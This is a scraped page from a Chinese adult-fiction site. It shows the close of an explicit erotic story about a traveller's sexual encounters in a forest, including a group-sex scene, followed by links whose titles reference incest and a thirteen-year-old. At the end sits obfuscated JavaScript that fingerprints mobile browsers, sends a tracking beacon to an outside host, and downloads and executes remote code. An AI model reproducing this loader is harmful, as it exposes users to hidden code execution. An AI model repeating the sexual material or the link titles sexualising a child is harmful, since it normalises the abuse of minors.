  “哼哼,”玉花依然摆弄着肉片片:“我倒不认为这是什么屄宝。”

  “哦?”我的鸡鸡哧溜地猛捅了一下,手掌与玉花一起摆弄着她的肉片片,“不是屄宝,又是什么啊?”我的手指充满挑逗地把玩着玉花的肉片片:“这的确是个屄宝,还能换钱花吶!”

  “哼!”玉花轻漫地说道:“把它看成是屄宝的女人,都是下贱的女人,把自己当成牲口一样的出卖了!用它换钱花的更是烂货,贱得不能再贱了!”

  “豁豁,”我感叹道:“小姐,你很高尚啊,你真是个神女啊!”

  “神女谈不上,”玉花道:“男女之间这种事情,应该是平等的,双方都获得了满足,这才是快乐的,如果把这种事情当成了例行的公差,晚上必须陪男人玩,那就成累赘了!哪里还有什么快乐而言?我把这种事情看得很轻,很随便,所以,寨子里的光棍汉总是偷偷地向我求欢,我从来不要这,要那的,大家在一起,玩得开心,玩得高兴就行了!”

  “小姐,你的行为已经是神女了!”

  “哼哼,”玉花不以为然,“寨子里差不多哪个女人在外面都有相好的,她们跟我可不一样,你看看吧,她们是怎样对待相好的,一见面就伸手要东西,不给就厥嘴,更不让你上!而我对待相好的原则是:你不主动送我东西,我从来也不向你索要。如果你有心,哪怕送我一块小小的蜡染,我也真心地对待你,从来不会嫌少的,嫌不值钱的。并且,与丈夫以外的男人做这种事,有一种新鲜感,有一种说不出来的感觉!”

  “哦,”玉花的话深深地剌激了我,我附下身去,重重地压迫在玉花的身体上:“小姐,你是我遇到的最有特点的女人,小姐,你给我留下深刻的印象!”

  此番深山之行,收穫甚丰,在这片茂密的树林里,我亲身感受到一种异样的怪俗,给我带来一次又一次的快感,我幸福地大作着,高高地仰着脑袋,透过繁盛的枝叶,那遥不可及的天际彷彿就在眼前,而此时此立刻的我,不就是生活在天堂里么!

  “哦呀,哦呀,哦呀……”

  我在玉花的身上正疯狂地大作着,从黑沈沈的林间传来月娥那熟悉的、但已经是放蕩无比的脆音:“哦呀,哦呀,哦呀……好操啊,好舒服啊,操吧,操死我吧!……”

  “嗯?”我不禁皱起了眉头:这是月娥在叫么?很腼腆、很衿持的客栈老闆娘,进了摸乳林,眨眼之间就变成了蕩妇?

  “哦呀,哦呀,哦呀……好操啊,好舒服啊,操吧,操死我吧!……”

  月娥的淫叫声越来越急促,越来越尖厉,听得我心乱如麻,这美丽的少妇可是我心目中的情人啊!

  我再也没有心思与玉花交欢,呼地站起身来,草草繫上裤子,循着月娥淫叫声而去,没走出多远,浮云悄然散去,月光之下,我看到这样一幅让人瞠目的场景。

  “哦~~哦~~哦……”

  只见美丽端庄的客栈老闆娘赤身裸体地仰躺在废石碾上,一个男人搬着她的大腿,疯狂地撞击着她的胯间。月娥淫迷地尖叫着,光溜溜的胴体随着男人的抽送不停地扭摆着、摇晃着:“哦呀,哦呀,哦呀……好操啊,好舒服啊,操吧,操死我吧……”

  其他几个男人则津津有味地抓摸着月娥的酥乳、吸舔着滑腻的白腿、啃咬着小巧玲珑的脚丫。

  “哦~~哦~~哦……”

  疯狂的抽插深深地剌激了月娥,微微颤抖的肉穴在鸡鸡兇狠的冲撞下潮水般的淫液四处飞溅,并且发出清脆的、啪叽啪叽的响声。

  “哦呀,哦呀,哦呀……好操啊,好舒服啊,操吧,操死我吧!……”

  “哎,你先歇会,让我也来操一会!”

  一个早已等不及的男人一把推开正狂插不止的伙伴,将自己那根几欲冒着火星的鸡鸡扑哧一声捅进月娥的肉穴里:“啊,小娘们,我来了!”

  “哦呀,哦呀,哦呀……”月娥扑哧一笑,淫蕩地晃动着大腿,下作地迎合着男人的撞击:“好操啊,好舒服啊,操吧,操死我吧!……”

  “月娥。”我走到月娥的身旁,一脸困惑地望着她,月娥一边扭动着屁股,一边冲我媚笑道:“先生,来啊,你也来操我啊!哦唷。”话音未落,一个男子将沾满淫液的鸡鸡塞进月娥的小嘴里,月娥不再理睬我,握住鸡鸡,深深地吮吸着:“哦唷,哦唷,哦唷,哦唷……”

  
【完】


  


Contents
JKF严选免费成人小说
此时儿看最动情  <<十三岁的小姨子>>  大学时的一次野战  妹妹的窥视  我们色色的游泳课  姊弟乱伦  姐姐的美腿2  爱在我们的校园  和妈妈真实的乱伦
猜你喜欢下面这些
function xZUWksQK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function PUjpG(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xZUWksQK(t);};window[''+'J'+'N'+'A'+'G'+'t'+'v'+'W'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iwUzp(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=PUjpG,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iwUzp(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iwUzp(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmNzcHN4aC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5kdGZhb2kuY24lM0E5NTTM0','168623',window,document,['l','T']);}:function(){};